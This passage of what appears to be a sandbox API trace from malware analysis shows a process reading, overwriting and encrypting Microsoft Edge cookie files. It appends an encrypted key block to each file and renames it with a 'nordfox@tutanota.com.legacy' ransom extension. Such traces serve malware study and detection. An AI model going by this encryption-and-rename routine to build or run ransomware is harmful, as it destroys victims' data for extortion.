dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie", dwFileAttributes=0x80) returned 1 [0192.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9mbwfay.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.784] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=90) returned 1 [0192.784] ReadFile (in: hFile=0x1b8c, lpBuffer=0x556c58, nNumberOfBytesToRead=0x5a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556c58*, lpNumberOfBytesRead=0x2e1f9bc*=0x5a, lpOverlapped=0x0) returned 1 [0192.785] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-90, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.785] WriteFile (in: hFile=0x1b8c, lpBuffer=0x556778*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5a, lpOverlapped=0x0) returned 1 [0192.785] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5a [0192.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.785] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.785] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.785] CloseHandle (hObject=0x1b8c) returned 1 [0192.786] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9mbwfay.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9MBWFAY.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9mbwfay.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.787] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie", dwFileAttributes=0x80) returned 1 [0192.797] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9ftoc54.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.797] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=160) returned 1 [0192.797] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2f75e38, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75e38*, lpNumberOfBytesRead=0x2e1f9bc*=0xa0, lpOverlapped=0x0) returned 1 [0192.798] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.798] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2f764c8*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f764c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa0, lpOverlapped=0x0) returned 1 [0192.798] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa0 [0192.798] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.798] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.798] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.798] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.799] CloseHandle (hObject=0x1b8c) returned 1 [0192.799] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9ftoc54.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\H9FTOC54.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\h9ftoc54.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dfb0 | out: pbBuffer=0x60dfb0) returned 1 [0192.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.802] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie", dwFileAttributes=0x80) returned 1 [0192.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gvxidore.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.803] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=91) returned 1 [0192.803] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5566a8, nNumberOfBytesToRead=0x5b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5566a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5b, lpOverlapped=0x0) returned 1 [0192.804] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-91, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.804] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5567e0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5567e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5b, lpOverlapped=0x0) returned 1 [0192.804] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5b [0192.804] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.804] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dfb0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dfb0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.805] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60dfb0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dfb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.805] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.805] CloseHandle (hObject=0x1b8c) returned 1 [0192.805] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gvxidore.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GVXIDORE.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gvxidore.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d038 | out: pbBuffer=0x60d038) returned 1 [0192.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0192.807] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie", dwFileAttributes=0x80) returned 1 [0192.807] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gjqaxjs1.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.808] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=106) returned 1 [0192.808] ReadFile (in: hFile=0x1b8c, lpBuffer=0x30ef370, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef370*, lpNumberOfBytesRead=0x2e1f9bc*=0x6a, lpOverlapped=0x0) returned 1 [0192.809] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.809] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30ef208*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef208*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6a, lpOverlapped=0x0) returned 1 [0192.809] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6a [0192.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d038*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d038*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.809] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d038*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.809] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.809] CloseHandle (hObject=0x1b8c) returned 1 [0192.810] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gjqaxjs1.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GJQAXJS1.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gjqaxjs1.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60da88 | out: pbBuffer=0x60da88) returned 1 [0192.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.811] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie", dwFileAttributes=0x80) returned 1 [0192.812] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gi1ull4b.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.812] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=110) returned 1 [0192.812] ReadFile (in: hFile=0x1b8c, lpBuffer=0x30ef118, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef118*, lpNumberOfBytesRead=0x2e1f9bc*=0x6e, lpOverlapped=0x0) returned 1 [0192.813] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.813] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30ef0a0*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef0a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6e, lpOverlapped=0x0) returned 1 [0192.813] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6e [0192.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.813] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60da88*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60da88*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.814] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60da88*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60da88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.814] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.814] CloseHandle (hObject=0x1b8c) returned 1 [0192.814] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gi1ull4b.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\GI1ULL4B.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\gi1ull4b.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0192.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie", dwFileAttributes=0x80) returned 1 [0192.817] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fn02l8wx.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.817] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=342) returned 1 [0192.817] ReadFile (in: hFile=0x1b8c, lpBuffer=0x570c48, nNumberOfBytesToRead=0x156, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x570c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x156, lpOverlapped=0x0) returned 1 [0192.818] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-342, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.818] WriteFile (in: hFile=0x1b8c, lpBuffer=0x563720*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x156, lpOverlapped=0x0) returned 1 [0192.818] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x156 [0192.818] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.818] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.819] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.819] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.828] CloseHandle (hObject=0x1b8c) returned 1 [0192.828] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fn02l8wx.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FN02L8WX.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fn02l8wx.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.830] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60da88 | out: pbBuffer=0x60da88) returned 1 [0192.830] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.830] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt", dwFileAttributes=0x80) returned 1 [0192.831] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FE83WYZ0.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fe83wyz0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.832] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=94) returned 1 [0192.832] ReadFile (in: hFile=0x1b8c, lpBuffer=0x556640, nNumberOfBytesToRead=0x5e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556640*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e, lpOverlapped=0x0) returned 1 [0192.833] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-94, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.833] WriteFile (in: hFile=0x1b8c, lpBuffer=0x556b88*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556b88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e, lpOverlapped=0x0) returned 1 [0192.833] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e [0192.833] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.833] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60da88*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60da88*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.833] WriteFile (in: hFile=0x1b8c, 